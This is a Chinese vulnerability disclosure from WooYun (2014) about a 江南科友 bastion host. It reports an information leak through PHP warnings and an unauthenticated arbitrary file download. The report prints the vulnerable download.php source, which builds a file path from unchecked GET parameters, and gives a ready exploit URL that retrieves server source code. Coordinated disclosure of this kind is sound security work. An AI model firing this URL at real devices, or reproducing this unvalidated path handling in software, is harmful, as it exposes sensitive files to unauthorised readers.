当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077062

漏洞标题:江南科友堡垒机信息泄露+任意文件下载漏洞(疑为后门)

相关厂商:江南科友科技股份有限公司

漏洞作者: 路人甲

提交时间:2014-09-23 15:14

修复时间:2014-12-22 15:14

公开时间:2014-12-22 15:14

漏洞类型:默认配置不当

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-28: 厂商已经确认,细节仅向厂商公开
2014-10-01: 细节向第三方安全合作伙伴开放
2014-11-22: 细节向核心白帽子及相关领域专家公开
2014-12-02: 细节向普通白帽子公开
2014-12-12: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

作为安全厂商,请穿好裤子再出来保护客户安全....

详细说明:

1、信息泄露(物理路径爆出来)
https://1.1.1.1/audit/123baobiao.php

1.jpg


可以通过PHP来产生EXCEL档. teaman翻译 ---------------------------- Excel Functions ---------------------------- 将下面的代码存为excel.php ,然后在页面中包括进来 然后调用 1. Call xlsBOF() 2. 将一些内容写入到xlswritenunber() 或者 xlswritelabel()中. 3.然后调用 Call xlsEOF() 也可以用 fwrite 函数直接写到服务器上,而不是用echo 仅仅在浏览器上显示。 // // To display the contents directly in a MIME compatible browser // add the following lines on TOP of your PHP file: 
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 49
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 50
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 51
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 52
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 53
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 54
Warning: Cannot modify header information - headers already sent by (output started at /usr/local/apache2/htdocs/project/www/audit/123baobiao.php:16) in /usr/local/apache2/htdocs/project/www/audit/123baobiao.php on line 55
This is a label€嚸@


2、任意文件下载漏洞导致源码不保(无需登录)
该文件没有任何功能,初步怀疑厂商遗留的后门。按照黑哥说的,一切跟程序功能没任何联系的,就是后门。。。
看代码如下:
在audit/download.php中
贴出全部代码

<?php

//for safety
//design to that just copy the url cannot download the file
//by zhangle
require_once "include/language.php";
$file_name = $_GET['name'];
$file_dir = $_GET['path'];
if (!file_exists($file_dir . $file_name))
{
echo $GLOBALS['zh_output']->get(107);
echo $file_dir . $file_name;
exit;
}
else
{
$fp = fopen($file_dir . $file_name, "r");
header( "Pragma: public" );
header( "Expires: 0" ); // set expiration time
header( "Cache-Component: must-revalidate, post-check=0, pre-check=0" );
header( "Content-type: application/octet-stream");
header( "Accept-Ranges: bytes");
header( "Accept-Length: ".filesize($file_dir . $file_name));
header( "Content-Disposition: attachment; filename=" . $file_name);
header( 'Content-Transfer-Encoding: binary' );
$file_size = filesize($file_dir . $file_name);
$buffer_size = 1024;
// use buffer in order not to take up too much memory at one time
$cur_pos = 0;
while(!feof($fp) && ($file_size - $cur_pos > $buffer_size))
{
$buffer = fread($fp, $buffer_size);
echo $buffer;
$cur_pos += $buffer_size;
}
$buffer = fread($fp, $file_size - $cur_pos);
echo $buffer;
fclose($fp);
}
?>


这里
$file_name = $_GET['name'];
$file_dir = $_GET['path'];
一个路径 一个文件名
一旦他们存在即下载文件

$file_size = filesize($file_dir . $file_name);
$buffer_size = 1024;
// use buffer in order not to take up too much memory at one time
$cur_pos = 0;
while(!feof($fp) && ($file_size - $cur_pos > $buffer_size))
{
$buffer = fread($fp, $buffer_size);
echo $buffer;
$cur_pos += $buffer_size;
}


轻轻松松获取源码。。。
你说这是啥功能? 不是后门??
没有任何限制,这就是后门了,请厂商自己确认吧!
结合链接提供exp如下:
https://1.1.1.1/audit/download.php?path=/usr/local/apache2/htdocs/project/www&name=/index.php

SW9AO`PV0]2I1P(L{03AJ2I.jpg


H$P_[27(}09$2YW}@HNBUNT.jpg



漏洞证明:

https://1.1.1.1/audit/download.php?path=/usr/local/apache2/htdocs/project/www&name=/index.php

SW9AO`PV0]2I1P(L{03AJ2I.jpg


H$P_[27(}09$2YW}@HNBUNT.jpg


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-09-28 09:31

厂商回复:

最新状态:

暂无